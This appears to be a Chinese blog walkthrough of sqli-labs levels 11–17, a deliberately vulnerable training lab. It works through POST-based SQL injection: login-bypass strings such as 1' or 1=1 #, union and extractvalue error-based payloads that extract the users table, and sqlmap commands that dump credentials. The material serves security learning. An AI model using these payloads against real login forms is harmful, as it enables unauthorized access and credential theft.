当前位置:   article > 正文

sqli-labs基础篇 第11~17关_sqllabs第11关

sqllabs第11关

开始时间2023-1-13

【第十一关】基于错误的POST单引号字符型注入

Ⅰ 判断注入点

image.png
输入错误,显示failed
输入正确,显示successful
注入以下测试sql,报错“** 1’ limit 0,1** ”

username:1'
password:112
  • 1
  • 2

image.pngimage.png

(1)推断

传输参数为uname + passwd
post传输
单引号注入

Ⅱ 注入开始

注入方式1-标准

根据上面的分析,构建下playload
接下来的注入,跟第一关的一样

uname=-1' union select 1,database() #& passwd=
  • 1

image.png

注入方式2-万能公式

看到这里,如果源码的登录sql是写成下面这样的,可以直接使用sql注入的万能句子

username='$name' and password= '$pass'
  • 1

万能句子

usename:1' or 1=1 #
password:随便输入

-- 解析,注入进去,源码执行的语句是
username=' 1' or 1=1 #' and password = '$pass'
-- 最终执行语句,无论如何,这句话都是成立的,所以登录进去
username='1' or 1=1 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

image.png

注入方式3

利用sqlmap,一步得出(感觉超爽)
回显数据库

python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" --dbs
  • 1
爆表名
  • 1
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" -D security --tables --batch
  • 1

爆列表名

python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" -D security -T users -columns  --batch
  • 1

爆数据

python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" -D security -T users -C 'id,password,username' --dump  --batch
  • 1

【第十二关】基于错误的POST双引号字符

Ⅰ 判断注入点

username= \ & password=  -- 报错:'1") LIMIT 0,1'

  • 1
  • 2

image.png

推断

双引号注入
闭合

Ⅱ 正常注入

palyload

uname=-1") union 1,database() # &passwd= &submit=Submit
  • 1

参考第十一关

【第十三关】基于POST单引号双注入变形

Ⅰ 判断注入点

username= \
passwd=  
-- 提交
  • 1
  • 2
  • 3

报错信息出来了,是单引号+单闭合
image.png

Ⅱ 常规注入

(1)判断回显
-1')  union select 1,2,3 #	-- false

  • 1
  • 2

image.png

(2)爆数据库

发现只显示登录成功,而不显示执行结果,两种办法解决

  • 报错注入
  • 延时注入
-1')  union select 1,database() #
  • 1

image.png

1')  and extractvalue('~', concat('~',(select database() ) ) )  #
  • 1

image.png
跟第五关方法一致

(3)爆数据
1')  and extractvalue('~', concat('~',(select concat_ws('~',username,password) from security.users limit 0,1) ) )  #
  • 1

image.png

Ⅲ 万能公式

不知道账号密码情况下,直接登录网站

username= 1') or 1=1 #
password=
  • 1
  • 2

Ⅳ sqlmap注入

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-13 --data "uname=1&passwd=11&submit=Submit" --dbs --batch
  • 1

【第十四关】基于POST双引号双注入变形

Ⅰ 判断注入点

username=1\
password=
  • 1
  • 2

双引号注入
image.png

Ⅱ sqlmap

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-14/index.php --data "uname=1&passwd=11&Submit=submit" --dbs --batch

  • 1
  • 2

image.png
需要提高注入深度等级

-- 在sql语句中添加这个
--level=5 --risk=3 
  • 1
  • 2

Ⅲ 常规注入

具体步骤和第十三关一样的解法,在这里,我就直接放最后的注入结果

1"  and extractvalue('~', concat('~',(select concat_ws('~',username,password) from security.users limit 0,1) ) )  #
  • 1

image.png

【第十五关】基于POST单引号布尔型时间盲注

万能注入可以
image.png

Ⅰ 判断注入点

测试注入点,以下的都没有回显sql执行消息,只有登录失败

1' and 1=1 #
1' and 1=2 #
\
  • 1
  • 2
  • 3

image.png
数字型注入全是登录失败,有点问题,采用字符型注入试一下

admi  失败
admi'  失败
admi' # -- 失败,单引号+注释
admin' # -- 成功
  • 1
  • 2
  • 3
  • 4

推测

  • 注入点:单引号
  • 不回显执行信息,只能通过延时注入或者ASCILL注入

Ⅱ 常规注入

看了一些解读,都是用usename=admin’ # & passwd=12&submit=Submit
但我用其他字符替代admin,就无法执行sql语句,例如 下面这一条句子,就不可以使用

usename=admin' order by 2#&passwd=12&submit=Submit  -- 成功登录
usename=1'  order by 2#&passwd=12&submit=Submit     -- 失败
usename=asdb'  order by 2#&passwd=12&submit=Submit  -- 失败
  • 1
  • 2
  • 3

用admin注入,admin是该靶场的测试账号密码之一,可行,不过不推荐用手动注入的方法,很麻烦

Ⅲ sqlmap

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-15/ --data "uname=1&passwd=11&Submit=submit" --dbs --batch --level=5 --risk=3
  • 1

image.png

【第十六关】基于POST双引号布尔型时间盲注

Ⅰ 判断注入点

先找注入点,但是试了前面一些常规方法,都没显示出来

(1)源码解析
	$uname='"'.$uname.'"';
	$passwd='"'.$passwd.'"'; 
	@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  • 1
  • 2
  • 3

推断:双引号+单闭合 注入
测试,只在username框上填写

1") #   -- 失败
asd") # -- 失败
admin") # -- 成功
  • 1
  • 2
  • 3

Ⅱ 万能sql语句

1") or 1=1#
  • 1

Ⅲ 常规注入

(1)爆列数
--报错
uname=admin") order by 3#&passwd=&submit=Submit
-- 正常登录
uname=admin") order by 2#&passwd=&submit=Submit 
  • 1
  • 2
  • 3
  • 4
(2)爆回显
-- 成功登录
uname=admin") union select 1,2#&passwd=&submit=Submit

-- 报错
uname=admin") union select 1,2,3#&passwd=&submit=Submit

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

常规的布尔注入 参考他人博客

Ⅳ sqlmap注入

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-16/ --data "uname=1&passwd=11&Submit=submit" --technique=T --dbs --level=5 --risk=3 --parse-errors 
  • 1

评价:被延时注入恶心到了,sqlmap注入也挺耗时间的
跑了几分钟的sqlmap,才得到一些数据
image.png
途中还出现了sqlmap报错

报错信息:sqlmap identified the following injection points with a total of 0 HTTP(s) requests

添加两条句子

--parse-errors --technique=T
  • 1

【第十七关】

Ⅰ 判断注入点

输入常规的测试sql,例如\,都显示”BUG OFF YOU SILIY DUMB HACKER“
推测:存在过滤
image.png
数字型注入不行,试一下字符型
账号输入admin,发现登录进去了
账号密码都输入admin,也进去了,没有反馈具体自行信息
image.png

输入admin,密码输入  \,报错,说明注入点在密码这里
  • 1

image.png
在输入一些注入sql,如123’ union 1,database(),不回显执行信息
推测

  • 密码框
  • 单引号
  • 注入方式
    • 报错注入
    • 延时注入

Ⅱ 源码分析

Ⅲ 报错注入

在这里,用extractvalue 或者updatexml,都是一样的,最大的区别是updatexml多了一个参数

(1)查看列表
-- 分别在username和password的输入框输入
admin
1' order by 2#
  • 1
  • 2
  • 3
(2)爆数据库
' and extractvalue(null,concat(0x7e,database(),0x7e))#

  • 1
  • 2
(3)爆表名

结果:emails,referers,uagents,users

1' and extractvalue('anything',concat( '~', (select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))#  

  • 1
  • 2
(4)爆字段

id,password,username

1' and extractvalue('anything',concat( '~', (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'))#  

  • 1
  • 2
(5)爆数据
1' and extractvalue('anything',concat( 0x7e, (select group_concat(id,username,password) from users)))# 
  • 1

报错,提示如下

You can’t specify target table ‘users’ for update in FROM clause 1

image.png

这个报错主要是因为不能在筛选数据的同时,进行数据更新,外面可以用临时表的方法,实现数据筛选和数据更新

123' and extractvalue(1,concat(0x7e,(select concat(id,' ',password,username) from (select id,password,username from users limit 0,1)a)))#
  • 1

image.png

Ⅳ sqlmap注入

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-17/ --data "uname=admin&passwd=password&submit=Submit" --current-db --threads 8 --technique E
  • 1

image.png

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/658381
推荐阅读
相关标签
  

闽ICP备14008679号